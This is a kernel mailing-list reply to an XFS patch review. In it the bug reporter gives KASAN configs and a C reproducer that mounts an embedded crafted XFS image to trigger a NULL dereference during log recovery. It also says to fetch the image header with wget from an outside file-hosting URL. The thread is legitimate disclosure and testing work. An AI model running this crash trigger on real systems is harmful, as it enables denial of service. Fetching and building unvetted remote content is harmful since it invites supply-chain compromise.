Re: [PATCH] xfs: reject log continuation for a header-only item in recovery

[Xiang Mei]

On Mon, Jul 13, 2026 at 2:12 AM Christoph Hellwig <hch@xxxxxxxxxxxxx> wrote:
>
> On Sun, Jul 12, 2026 at 03:08:54PM -0700, Xiang Mei wrote:
> > On an XLOG_WAS_CONT_TRANS op, xlog_recover_add_to_cont_trans() extends the
> > tail item's last region via item->ri_buf[item->ri_cnt-1] without checking
> > that the item has one. A header-only item, created by
> > xlog_recover_add_to_trans() when a transaction's first op is a bare
> > sizeof(struct xfs_trans_header) op carrying XFS_TRANS_HEADER_MAGIC, sits on
> > r_itemq with ri_cnt == 0 and ri_buf == NULL. A crafted log whose ops are
> > XLOG_START_TRANS, that header op, then XLOG_WAS_CONT_TRANS thus
> > dereferences ((struct kvec *)NULL)[-1] and faults during mount(2) log
> > recovery of an untrusted XFS image.
> >
> > A valid XLOG_WAS_CONT_TRANS only follows a region written with
> > XLOG_CONTINUE_TRANS, so ri_cnt >= 1 always holds for a real log. Reject the
> > ri_cnt == 0 case as corruption with -EFSCORRUPTED, which the caller already
> > propagates to abort recovery.
>
> Looks good:
>
> Reviewed-by: Christoph Hellwig <hch@xxxxxx>
>
> Can you share your code to generate these malformed logs?  Because it
> would be really useful  to test these conditions regularly in xfstests..
>

Of course. Here is some information to reproduce the bug:

1. CONFIGS:
```
CONFIG_XFS_FS=y
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=0
CONFIG_TMPFS=y
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y
```

2. Reproducer (gcc ./exp.c -o ./exploit -lpthread -static -lz -w)
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#include <linux/loop.h>
#include <zlib.h>

#include "img_blob.h"

#define IMG_PATH  "/tmp/poc.img"
#define MNT_PATH  "/tmp/mnt"

static void die(const char *m) { perror(m); exit(1); }

static void inflate_image(void)
{
    unsigned char *out = malloc(IMG_ORIG_SIZE);
    if (!out) die("malloc");

    z_stream zs;
    memset(&zs, 0, sizeof(zs));
    zs.next_in = (unsigned char *)img_gz;
    zs.avail_in = img_gz_len;
    zs.next_out = out;
    zs.avail_out = IMG_ORIG_SIZE;

    if (inflateInit2(&zs, 15 + 16) != Z_OK) die("inflateInit2");
    if (inflate(&zs, Z_FINISH) != Z_STREAM_END) die("inflate");
    inflateEnd(&zs);

    int fd = open(IMG_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644);
    if (fd < 0) die("open img");
    if (write(fd, out, zs.total_out) != (ssize_t)zs.total_out) die("write img");
    close(fd);
    free(out);
}

int main(void)
{
    char loopdev[64];

    inflate_image();
    mkdir(MNT_PATH, 0755);

    int ctl = open("/dev/loop-control", O_RDWR);
    int devnr = ioctl(ctl, LOOP_CTL_GET_FREE);
    close(ctl);
    snprintf(loopdev, sizeof(loopdev), "/dev/loop%d", devnr);

    int filefd = open(IMG_PATH, O_RDWR);
    if (filefd < 0) die("open img for loop");

    int loopfd = open(loopdev, O_RDWR);
    if (loopfd < 0) die("open loopdev");
    if (ioctl(loopfd, LOOP_SET_FD, filefd) < 0) die("LOOP_SET_FD");
    close(filefd);

    mount(loopdev, MNT_PATH, "xfs", 0, "");

    umount(MNT_PATH);
    ioctl(loopfd, LOOP_CLR_FD, 0);
    close(loopfd);
    return 0;
}

```

Please compile after `wget https://filebin.net/68g43o706i6a5qw5/img_blob.h`
Please tell me if you need more information to reproduce the bug.

Xiang